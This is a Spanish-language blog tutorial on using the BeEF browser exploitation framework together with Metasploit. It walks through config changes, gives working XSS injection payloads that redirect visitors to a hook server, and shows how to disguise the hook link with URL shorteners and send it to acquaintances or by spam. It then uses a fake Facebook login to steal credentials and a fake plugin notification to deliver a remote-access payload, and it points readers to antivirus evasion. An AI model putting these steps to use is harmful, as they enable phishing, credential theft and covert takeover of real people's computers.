lunes, 12 de octubre de 2015

BeEF Browser Exploitation Framework




Saludos queridos fieles lectores en esta oportunidad centraremos una plataforma de explotación que ha tenido un relevante indice de aceptación por la comunidad de pentesting a nivel mundial desde ya hace casi 3 años, con ustedes BeEF.

¿Que es BeEF?

Es una herramienta de pruebas de penetración que se centra en el navegador web,en medio de la creciente preocupación por los ataques procedentes de Internet en contra de los clientes, incluyendo clientes móviles, carne de res permite que el probador de penetración profesional para evaluar la postura de seguridad real de un entorno de destino mediante el uso de vectores de ataque del lado del cliente. A diferencia de otros marcos de seguridad, carne de res se ve más allá del sistema perímetro de la red y el cliente endurecido, y examina explotabilidad en el marco de la puerta abierta: el navegador web. Beef enganchará una o más navegadores web y utilizarlos como cabezas de playa para el lanzamiento de los módulos de comando dirigidas y nuevos ataques contra el sistema desde dentro del contexto del navegador.



Estructura de infección de BeFF



Como podemos observar beef tiene como función principal infectar ordenadores mediante "Scripts" maliciosos las cuales pueden ser adjuntados con algunos payload y exploit de la conocida "msfconsole", esta herramienta ya tiene poco de 3 años en que se volvió viral en los ataques que en su mayoría se pueden adjuntar con "XSS" / "Main in the Middle" / Pishing /, entre otros métodos que se pueden  utilizar de acuerdo a la imaginación de uno.


http://beefproject.com

En mi caso vamos a  utilizar BeEF con mi viejo amigo "Metasploit", pero antes debemos configurar 2 archivos que se encuentran en la instalación del BeEF  y la configuración con metasploit.


Configurando los servidores de arranque 

root@kali:~# cd /usr/share/beef-xss
root@kali:/usr/share/beef-xss# nano config.yaml

como vemos en la imagen eh entrado al repertorio de beef y posteriormente abriré la linea de códigos del archivo config.yaml , lo que haremos sera buscar la linea donde diga "metasploit" tecleamos Control + W y añadiremos la palabra metasploit.


Archivo original

--------------------------------------------------------------------------------------------------------------------------
    # You may override default extension configuration parameters here
    extension:
        requester:
            enable: true
        proxy:
            enable: true
            key: "beef_key.pem"
            cert: "beef_cert.pem"
        metasploit:
            enable: false
        social_engineering:
            enable: true
        evasion:
            enable: false
        console:
             shell:
                enable: false
        ipec:
            enable: true
        # this is still experimental, we're working on it..
        dns:
            enable: true

--------------------------------------------------------------------------------------------------------------------------


Archivo configurado 

--------------------------------------------------------------------------------------------------------------------------
    # to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
    integration:
        phishing_frenzy:
            enable: false

    # You may override default extension configuration parameters here

    extension:
        requester:
            enable: true
        proxy:
            enable: true
            key: "beef_key.pem"
            cert: "beef_cert.pem"
        metasploit:
            enable: true
        social_engineering:
            enable: true
        evasion:
            enable: false
        console:
             shell:
                enable: false
        ipec:
            enable: true
        # this is still experimental, we're working on it..
        dns:
            enable: true
--------------------------------------------------------------------------------------------------------------------------

lo que solamente hemos configurado la linea:

 metasploit:
            enable: true  

luego de ello  simplemente pasaremos a guardar el archivo con Control + O, luego de ello configuraremos el archivo de arranque de metasploit en la misma carpeta de BeEF, pero antes de hacerlo ejecutare "msfconsole", posteriormente nos da una contraseña en mi caso fue:

[*] MSGRPC Password: vUgPOxiO

la cual me da como registro del servidor de beef dichas credenciales, como podemos ver en la imagen, pasando a configurar el siguiente archivo se encuentra alojado en la siguiente carpeta:

root@kali:/usr/share/beef-xss# cd extensions/metasploit/
root@kali:/usr/share/beef-xss/extensions/metasploit# nano config.yaml



Lo único que  cambiaremos sera el pass: abc123 al que nos asigno la credencial de beef en msfconsole la cual fue password: vUgPOxiO


Guardamos de la misma manera, esta ves si lo hice el ejemplo con imagen para no extender mucho el POST con texto necesario, cerraremos la ventada luego abriremos otra  y ejecutaremos el BeEF

root@kali:~# cd /usr/share/beef-xss

root@kali:/usr/share/beef-xss# ./beef -x

Podemos observar que cargo perfectamente los 292 Exploits de Metasploit correctamente la cual podemos utilizar en nuestra plataforma de ataque.

Deseo aclarar que cada ves que cierren la terminal de metaspoit y vuelvan a cargar los módulos te otorgara una nueva contraseña y esa deben añadirla de igual manera en la configuración en el directorio usr/share/beef-xss/extensions/metasploit 


Interactuando con la plataforma.

Para entrar a la plataforma primero debemos observar en la imagen de arriba que nos arroja una URL con Panel :

UI URL:   http://192.168.179.129:3000/ui/panel



Como vemos es el panel  de administración de BeEF, las credenciales de usuario y contraseña son :

Login : beef
Pass   : beef

Este es el entorno del servidor de infección y ataque que consta BeEF:



Una ves obtenido nuestro  servidor solo nos faltaría infectar a nuestras victimas la pregunta seria ¿como lo hago?, pues para elaborar una prueba BeEF cuenta con 2 enlaces web locales, infectados para recibir la conexión de la victima las cuales son :

http://192.168.179.129:3000/demos/butcher/index.html
http://192.168.179.129:3000/demos/basic.html




¿Como podemos camuflar?

hoy en día existen cortadores de URL como son

https://goo.gl
https://bitly.com




como vemos la URL ha sido cortada y camuflada entonces como lo aprovecharía  enviándola 1 x 1 a mis conocidos? o quizás utilizando un ataque  muy conocido que pocos le toman atención.


El conocido "XSS" / Cross-site scripting Es un error típico de algunas paginas web, que tienen una mal cierre de código javascript , que puede ser aprovechado para insertar código malicioso en el servidor web.

Existen 2 tipos de XSS


Directa - ( llamada también persistente) Es un tipo de xss que permite insertar los códigos html que permitan insertar " <Script> "  o " <Iflame>, la cual genera que el script se quede insertado para siempre en el directorio web afectado, en su mayoría en POST



Indirecta  ( llamada también reflejada )  Este tipo de xss consiste modificar valores que estén en la pagina web para pasar dos variables de paginas web, que solamente aparecerá con el código añadido en GET mayormente.


Lo que haré sera aprovechar una vulnerabilidad de un sitio web, e inyectare código malicioso la cual es el siguiente:


"><script>document.location="http://192.168.179.129:3000/demos/butcher/index.html";</script> 


"><script>document.location="http://bit.ly/1ZtkGPx";</script>


Una es con el link original que nos da el BeEF y el otro es el URL cortado y camuflado, podemos utilizar el que deseamos, en mi caso lo añadí el original, cuando la victima entre al servidor con el código malicioso que puedo ser enviado de muchas maneras, como emails, spam, entre muchos.  



Una ves que nuestra victima sea direccionada a nuestra web infectada automáticamente recibiremos su sesión del navegador capturada como podemos ver aquí:  


Para ejecutar un ataque dirigido podemos dirigirnos a los módulos que tienen funciones diferentes para ser ejecutados  de la manera que uno desee, no obstante podemos obtener una sesión meterpreter si ejecutamos payloads de infección como JAVA o otros tipos de ataque dirigidos al navegador para infectar el sistema que deseamos. 


Lo que vamos hacer ahora sera algo pequeño basado en la ingeniería social, nos iremos a la carpeta Social Engineering, entraremos a la sección Pretty Theft  y pondremos nuestra dirección IP de nuestra maquina en la opción que esta en lado derecho.


Una ves que le demos "Execute", automáticamente estaremos enviando la ejecución del código malicioso que le aparecerá a la victima como veremos en la siguiente imagen:


Como vemos la opción que escogimos para enviar una captura de usuarios, fue la de Facebook es la que mas los  niños rata quieren obtener xD!,una ves que la victima aya añadido su correo y contraseña, como vemos en la imagen al momento de darle el boton "Log In", automáticamente pasaremos a obtener las credenciales:


Lo que a mi me gusta mas es explotar los sistemas por los payload que ofrece metasploit y que mejor razón si utilizamos Metasploit y BeEF ! un alianza mortal.

Lo que haré primero sera crear un archivo malicioso en msfvenom luego eso encender el servidor apache y de escucha en metasploit como pueden ver en la imagen de aquí:




Una ves terminado con todo lo siguiente lo que haremos sera subir nuestro payload ejecutable en la carpeta /var/www/html, donde es el directorio de nuestro web de nuestro servidor local :


Una ves subido nuestro payload ya tenemos listo todo lo que necesitamos, pero si usted desea volver nuestro payload limpio para que no sea detectado por ningun AV, en este POST puede hacerlo:

http://backtrack-omar.blogspot.pe/2015/10/evadiendo-av-codificando-payloads-con.html


entonces ahora pasaremos a entrar al panel de BeEF para inyectar nuestro código malicioso al navegador de nuestra victima para que ejecute el payload,para ello iremos nuevamente a la carpeta "Social Engineering" y entraremos al directorio "Fake Notification Bar, En mi caso escogí la que es compatible con "Firefox", ya que el navegador infectado es ese y copiare el link con el ejecutable de mi servidor como ven.



Luego de configurar eso, le daré "Execute", entonces ya hemos enviando nuestro codigo malicioso a la victima como pueden ver :


Como vemos le acaba de llegar una notificación sobre un plugin que debe tener instalado, la victima como no sabría nada y le sera común encontrar ese mensaje lo instalara:





Una ves que la victima le aya dado guardar nuestro payload, le aparecerá en la barra de descargas, entonces la victima una ves que vaya abrir pensando que la va instalar :




 

Automáticamente abra nuestro archivo malicioso tendremos infectado el ordenador de la victima y accederemos remotamente sin que se aya dado cuenta.



Como lo digo BeEF es un viejo aliado de metasploit y puede ser utilizado en muchas técnicas de acuerdo a la imaginación de uno, como vieron yo utilice dos el "XSS" y un servidor con payload, espero les aya gustado.
Happy Hacking!!

2 comentarios:

  1. Exelente tutorial amigo!
    pero una dudota, para lanzar ataques que no esten en mi red como se tiene que configurar? con la ip publica donde va la local en los config.yaml?
    un saludo, gracias

    ResponderEliminar
  2. Por alguna razon no puedo entrar al panel de beef

    ResponderEliminar

Datos del Autor

Estudiante de Ingeniería de computación y sistemas en Perú.
actualmente me estoy dedicando a dar ponencias sobre seguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.

"Me considero un novato en busca de conocimiento"


Entradas Populares